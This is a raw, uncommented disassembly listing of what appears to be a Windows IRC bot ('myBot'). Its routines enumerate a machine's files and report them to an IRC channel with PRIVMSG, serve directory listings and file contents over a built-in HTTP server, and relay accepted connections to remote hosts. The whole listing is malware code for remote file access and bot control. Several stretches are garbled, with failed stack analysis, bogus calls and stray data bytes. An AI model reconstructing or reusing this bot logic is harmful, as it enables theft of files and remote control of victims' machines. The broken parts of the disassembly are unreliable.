CODE XREF: sub_40FCEC+C4j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41BF36 add esp, 28h loc_40FDF0: ; CODE XREF: sub_40FCEC+E1j lea eax, [ebp+var_1654] push edi push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4D1240 ; send cmp [ebp+var_A4], edi jnz short loc_40FE30 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_4107A0 pop ecx pop ecx jmp short loc_40FE4D ; --------------------------------------------------------------------------- loc_40FE30: ; CODE XREF: sub_40FCEC+12Cj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_41011E add esp, 10h loc_40FE4D: ; CODE XREF: sub_40FCEC+142j push [ebp+var_44C] call dword_4D1288 ; closesocket push [ebp+var_B4] call sub_40B32A pop ecx push edi call near ptr 0B40000h mov ah, 5Fh pop esi sub_40FCEC endp ; sp-analysis failed loc_40FE6E: ; CODE XREF: sub_40F891+3C0p push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp-210h] push edi push eax mov [ebp-4], edi call sub_41BC40 mov eax, [ebp+10h] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40FEA4 push eax push offset aS_5 ; "\\%s" jmp short loc_40FEAD ; --------------------------------------------------------------------------- loc_40FEA4: ; CODE XREF: .nsp0:0040FE9Aj push eax mov byte ptr [eax], 5Ch push offset aS_2 ; "%s" loc_40FEAD: ; CODE XREF: .nsp0:0040FEA2j lea eax, [ebp-10Ch] push eax call sub_41BF36 add esp, 0Ch lea eax, [ebp-10Ch] xor esi, esi xor ebx, ebx push eax call sub_41B890 test eax, eax pop ecx jbe short loc_40FF48 mov dword ptr [ebp+10h], 2 loc_40FED8: ; CODE XREF: .nsp0:0040FF46j lea eax, [ebp-10Ch] push eax call sub_41B890 cmp [ebp+10h], eax pop ecx jnb short loc_40FF18 cmp byte ptr [ebp+esi-10Ch], 25h jnz short loc_40FF18 cmp byte ptr [ebp+esi-10Bh], 32h jnz short loc_40FF18 cmp byte ptr [ebp+esi-10Ah], 30h jnz short loc_40FF18 inc esi mov byte ptr [ebp+ebx-210h], 20h inc esi add dword ptr [ebp+10h], 2 jmp short loc_40FF32 ; --------------------------------------------------------------------------- loc_40FF18: ; CODE XREF: .nsp0:0040FEE8j ; .nsp0:0040FEF2j ... mov al, [ebp+esi-10Ch] cmp al, 2Fh jnz short loc_40FF28 push 5Ch pop eax jmp short loc_40FF2B ; --------------------------------------------------------------------------- loc_40FF28: ; CODE XREF: .nsp0:0040FF21j movsx eax, al loc_40FF2B: ; CODE XREF: .nsp0:0040FF26j mov [ebp+ebx-210h], al loc_40FF32: ; CODE XREF: .nsp0:0040FF16j lea eax, [ebp-10Ch] inc esi inc dword ptr [ebp+10h] push eax inc ebx call sub_41B890 cmp esi, eax pop ecx jb short loc_40FED8 loc_40FF48: ; CODE XREF: .nsp0:0040FECFj lea eax, [ebp-210h] push eax lea eax, [ebp-314h] push dword ptr [ebp+0Ch] push offset dword_4301F8 push eax call sub_41BF36 lea eax, [ebp-314h] push offset asc_430808 ; "\n" push eax call sub_41C794 add esp, 18h lea eax, [ebp-314h] push eax call dword_427098 ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_40FF96 cmp eax, 0FFFFFFFFh jnz short loc_40FF99 push dword ptr [ebp+8] jmp short loc_410015 ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: .nsp0:0040FF8Aj mov [ebp-4], esi loc_40FF99: ; CODE XREF: .nsp0:0040FF8Fj cmp byte ptr [ebp+ebx-211h], 5Ch jnz short loc_40FFA6 mov [ebp-4], esi loc_40FFA6: ; CODE XREF: .nsp0:0040FFA1j mov ebx, [ebp+8] cmp [ebp-4], edi mov [ebp-6C4h], ebx mov [ebp-318h], edi jz short loc_410020 cmp [ebp+14h], edi jz short loc_410014 lea eax, [ebp-314h] push offset asc_42C1F0 ; "*" push eax call sub_41C560 lea eax, [ebp-314h] push eax lea eax, [ebp-640h] push eax call sub_41BF36 lea eax, [ebp-210h] push eax call sub_41085D lea eax, [ebp-210h] push eax lea eax, [ebp-53Ch] push eax call sub_41BF36 add esp, 1Ch or dword ptr [ebp-330h], 0FFFFFFFFh mov [ebp-31Ch], esi jmp short loc_41006F ; --------------------------------------------------------------------------- loc_410014: ; CODE XREF: .nsp0:0040FFBDj push ebx loc_410015: ; CODE XREF: .nsp0:0040FF94j call dword_4D1288 ; closesocket jmp loc_410117 ; --------------------------------------------------------------------------- loc_410020: ; CODE XREF: .nsp0:0040FFB8j push edi push edi push 3 push edi push esi lea eax, [ebp-314h] push 80000000h push eax call dword_4270EC ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41006F lea eax, [ebp-314h] push eax lea eax, [ebp-640h] push eax loc_41004D: ; DATA XREF: .nsp0:0043FD18o ; .nsp0:0043FD2Co call sub_41BF36 pop ecx loc_410053: ; DATA XREF: .nsp0:00439351o ; .nsp0:00439B61o mov [ebp-31Ch], edi pop ecx push edi push esi call near ptr 0B40000h ; --------------------------------------------------------------------------- db 8Fh, 56h, 89h dd 0FFFCD085h, 6C15FFFFh db 70h, 42h, 0 ; --------------------------------------------------------------------------- loc_41006F: ; CODE XREF: .nsp0:00410012j ; .nsp0:0041003Dj mov esi, [ebp+18h] lea eax, [ebp-8C4h] push esi push offset unk_43BDA8 push eax call sub_41BF36 push edi lea eax, [ebp-8C4h] push 3 push eax call sub_40B00E mov [ebp-32Ch], eax imul eax, 234h add esp, 18h mov dword_444124[eax], esi lea eax, [ebp-8] push eax lea eax, [ebp-6C4h] push edi push eax push offset sub_40FCEC push edi push edi call dword_42707C ; CreateThread mov ecx, [ebp-32Ch] imul ecx, 234h cmp eax, edi mov dword_444134[ecx], eax jz short loc_4100E9 loc_4100D7: ; CODE XREF: .nsp0:004100E7j cmp [ebp-318h], edi jnz short loc_410117 push 5 call dword_427064 ; Sleep jmp short loc_4100D7 ; --------------------------------------------------------------------------- loc_4100E9: ; CODE XREF: .nsp0:004100D5j push ebx call dword_4D1288 ; closesocket call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp-8C4h] push offset unk_43BD70 push eax call sub_41BF36 lea eax, [ebp-8C4h] push eax call sub_4157A6 add esp, 10h loc_410117: ; CODE XREF: .nsp0:0041001Bj ; .nsp0:004100DDj pop edi pop esi xor eax, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41011E proc near ; CODE XREF: .nsp0:004091BAp ; sub_40FCEC+159p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41BC40 mov edi, [ebp+arg_0] push offset asc_430808 ; "\n" push edi call sub_41C794 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_41017D push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41C030 add esp, 14h jmp loc_41027A ; --------------------------------------------------------------------------- loc_41017D: ; CODE XREF: sub_41011E+3Aj cmp [ebp+arg_C], ebx push edi jz loc_410260 call sub_41B890 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41C030 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D1240 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41C030 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D1240 ; send push edi call sub_41B890 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41C030 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D1240 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41C030 add esp, 0Ch jmp short loc_41027A ; --------------------------------------------------------------------------- loc_410260: ; CODE XREF: sub_41011E+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C030 add esp, 10h loc_41027A: ; CODE XREF: sub_41011E+5Aj ; sub_41011E+140j lea eax, [ebp+var_248] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D1240 ; send cmp [ebp+arg_C], ebx jz short loc_410312 push [ebp+arg_C] call sub_41B890 cmp eax, 2 pop ecx jbe short loc_410312 push [ebp+arg_C] call sub_41B890 sub eax, 3 pop ecx jz short loc_4102C6 loc_4102BA: ; CODE XREF: sub_41011E+1A6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_4102C6 dec eax jnz short loc_4102BA loc_4102C6: ; CODE XREF: sub_41011E+19Aj ; sub_41011E+1A3j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41BCA0 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41C030 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D1240 ; send loc_410312: ; CODE XREF: sub_41011E+17Ej ; sub_41011E+18Cj lea eax, [ebp+var_388] push eax push edi call dword_42711C ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call dword_427000 ; FindNextFileA test eax, eax jz loc_410703 mov edi, 1FFh loc_41033E: ; CODE XREF: sub_41011E+5DFj cmp [ebp+var_388], ebx jz loc_4106EB lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4106EB lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4106EB lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 0B40000h push edi lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 0B40000h inc esp mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_4103B3 mov ecx, offset aAm ; "AM" loc_4103B3: ; CODE XREF: sub_41011E+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_4103BF sub eax, 0Ch loc_4103BF: ; CODE XREF: sub_41011E+29Cj push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41BF36 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_41056C inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_410440 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C030 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_41C030 add esp, 28h jmp loc_4106BC ; --------------------------------------------------------------------------- loc_410440: ; CODE XREF: sub_41011E+2DBj cmp [ebp+arg_C], ebx jz loc_41052A push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C030 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D1240 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_1 ; "%s%s/" push edi push eax call sub_41C030 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D1240 ; send lea eax, [ebp+var_35C] push eax call sub_41B890 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4104E0 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_4104E5 ; --------------------------------------------------------------------------- loc_4104E0: ; CODE XREF: sub_41011E+3B9j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_4104E5: ; CODE XREF: sub_41011E+3C0j lea eax, [ebp+var_248] push edi push eax call sub_41C030 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D1240 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4106AD ; --------------------------------------------------------------------------- loc_41052A: ; CODE XREF: sub_41011E+325j lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C030 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_410557: ; CODE XREF: sub_41011E+476j lea eax, [ebp+var_248] push esi push eax call sub_41C030 add esp, 24h jmp loc_4106BC ; --------------------------------------------------------------------------- loc_41056C: ; CODE XREF: sub_41011E+2CFj inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_410596 push ebx push [ebp+var_368] call sub_416F2B push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_410557 ; --------------------------------------------------------------------------- loc_410596: ; CODE XREF: sub_41011E+454j cmp [ebp+arg_C], ebx jz loc_410696 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C030 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D1240 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_4301F8 push edi push eax call sub_41C030 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D1240 ; send lea eax, [ebp+var_35C] push eax call sub_41B890 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410636 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_41063B ; --------------------------------------------------------------------------- loc_410636: ; CODE XREF: sub_41011E+50Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_41063B: ; CODE XREF: sub_41011E+516j lea eax, [ebp+var_248] push edi push eax call sub_41C030 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D1240 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_41C030 add esp, 1Ch jmp short loc_4106BC ; --------------------------------------------------------------------------- loc_410696: ; CODE XREF: sub_41011E+47Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_4106AD: ; CODE XREF: sub_41011E+407j lea eax, [ebp+var_248] push eax call sub_41C030 add esp, 18h loc_4106BC: ; CODE XREF: sub_41011E+31Dj ; sub_41011E+449j ... lea eax, [ebp+var_248] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D1240 ; send cmp [ebp+arg_8], ebx jz short loc_4106EB push 7D0h call dword_427064 ; Sleep loc_4106EB: ; CODE XREF: sub_41011E+226j ; sub_41011E+241j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call dword_427000 ; FindNextFileA test eax, eax jnz loc_41033E loc_410703: ; CODE XREF: sub_41011E+215j push [ebp+arg_0] call near ptr 0B40000h cmp gs:[ebp+10h], ebx jz short loc_410746 mov eax, [ebp+var_8] cdq push edx push eax call sub_416F2B pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416F2B pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41BF36 add esp, 14h jmp short loc_41077A ; --------------------------------------------------------------------------- loc_410746: ; CODE XREF: sub_41011E+5F1j cmp [ebp+arg_C], ebx jz short loc_410760 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41BF36 pop ecx pop ecx jmp short loc_41077A ; --------------------------------------------------------------------------- loc_410760: ; CODE XREF: sub_41011E+62Bj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41BF36 add esp, 10h loc_41077A: ; CODE XREF: sub_41011E+626j ; sub_41011E+640j lea eax, [ebp+var_248] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D1240 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_41011E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4107A0 proc near ; CODE XREF: sub_40FCEC+13Bp var_4037C = byte ptr -4037Ch var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call dword_4270EC ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410858 push esi push ebx call near ptr 0B40000h cmp al, 3Bh mov byte ptr [ecx+6C740C45h], 68h ; CODE XREF: sub_4107A0+AFj add [eax+eax], al add [ebp-4037Bh], cl call dword ptr [esi+50h] call sub_41BC40 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410802 mov edi, [ebp+arg_4] loc_410802: ; CODE XREF: sub_4107A0+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call dword_427120 ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call dword_4270E8 ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4D1240 ; send cmp eax, 0FFFFFFFFh jnz short loc_41084C call dword_4D1184 ; WSAGetLastError cmp eax, 2733h jnz short loc_410851 xor eax, eax loc_41084C: ; CODE XREF: sub_4107A0+9Bj sub [ebp+arg_4], eax jnz short near ptr loc_4107DF+6 loc_410851: ; CODE XREF: sub_4107A0+A8j push ebx call dword_42706C ; CloseHandle loc_410858: ; CODE XREF: sub_4107A0+30j pop edi pop esi pop ebx leave retn sub_4107A0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41085D proc near ; CODE XREF: .nsp0:0040FFEAp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41B890 test eax, eax pop ecx jbe short loc_410886 loc_410870: ; CODE XREF: sub_41085D+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_41087A mov byte ptr [esi+edi], 2Fh loc_41087A: ; CODE XREF: sub_41085D+17j push edi inc esi call sub_41B890 cmp esi, eax pop ecx jb short loc_410870 loc_410886: ; CODE XREF: sub_41085D+11j mov eax, edi pop edi pop esi retn sub_41085D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41088B proc near ; CODE XREF: .nsp0:00406CEBp var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4D1160 ; WSAStartup push 6 push 1 push 2 call dword_4D1270 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BC40 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4D11F0 ; ntohs push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AA54 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4D1198 ; connect cmp eax, 0FFFFFFFFh jz short loc_410968 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410904 mov eax, offset byte_443398 loc_410904: ; CODE XREF: sub_41088B+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41C030 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4D1240 ; send push esi lea eax, [ebp+var_110] push edi push eax call near ptr sub_41C9B0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4D1208 ; recv pop esi loc_410968: ; CODE XREF: sub_41088B+6Bj push ebx call dword_4D1288 ; closesocket call dword_4D1148 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41BF36 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4109A8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h loc_4109A8: ; CODE XREF: sub_41088B+102j pop edi pop ebx leave retn sub_41088B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109AC proc near ; DATA XREF: .nsp0:00407B95o var_350 = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp+var_14] push esi push eax call sub_41BC40 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_44] call dword_4D11F0 ; ntohs push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call dword_4D1270 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_410B18 mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov dword_44412C[ecx], eax call dword_4D1100 ; WSAAsyncSelect lea eax, [ebp+var_14] push edi push eax push [ebp+arg_0] call dword_4D121C ; bind test eax, eax jnz loc_410B18 push 0Ah push [ebp+arg_0] call dword_4D1218 ; listen test eax, eax jnz loc_410B18 loc_410A5C: ; CODE XREF: sub_4109AC+C6j ; sub_4109AC+147j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call dword_4D1284 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410A5C movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call dword_4D127C ; inet_ntoa push eax lea eax, [ebp+var_350] push offset unk_43C2BC push eax call sub_41BF36 push edi lea eax, [ebp+var_350] push 18h push eax call sub_40B00E mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov dword_444124[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_410B3D push esi push esi call dword_42707C ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov dword_444134[ecx], eax jz short loc_410B03 loc_410AF0: ; CODE XREF: sub_4109AC+155j cmp [ebp+var_30], esi jnz loc_410A5C push 32h call dword_427064 ; Sleep jmp short loc_410AF0 ; --------------------------------------------------------------------------- loc_410B03: ; CODE XREF: sub_4109AC+142j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_43C280 call sub_41581A pop ecx pop ecx jmp short loc_410B1B ; --------------------------------------------------------------------------- loc_410B18: ; CODE XREF: sub_4109AC+63j ; sub_4109AC+97j ... mov edi, [ebp+arg_0] loc_410B1B: ; CODE XREF: sub_4109AC+16Aj push edi call dword_4D1288 ; closesocket push [ebp+arg_0] call dword_4D1288 ; closesocket push [ebp+var_40] call sub_40B32A pop ecx push esi call near ptr 0B40000h in eax, dx pop edi pop esi sub_4109AC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B3D proc near ; DATA XREF: sub_4109AC+124o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_41C1D0 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4D1270 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_410CF3 push 10h lea eax, [ebp+var_18] push edi push eax call sub_41BC40 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_4D11F0 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_4D1230 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_410BCD lea eax, [ebp+var_13C] push eax call dword_4D1274 ; gethostbyname jmp short loc_410BDB ; --------------------------------------------------------------------------- loc_410BCD: ; CODE XREF: sub_410B3D+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4D11A8 ; gethostbyaddr loc_410BDB: ; CODE XREF: sub_410B3D+8Ej cmp eax, edi jz loc_410CF3 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_4D1198 ; connect cmp eax, 0FFFFFFFFh jz loc_410CF3 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_4D127C ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_43C344 push eax call sub_41BF36 push esi lea eax, [ebp+var_344] push 18h push eax call sub_40B00E imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_44412C[ebx] mov dword_444124[eax], ecx add esp, 20h mov ecx, [esi] mov dword_444130[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset loc_410D24 push edi push edi call dword_42707C ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp 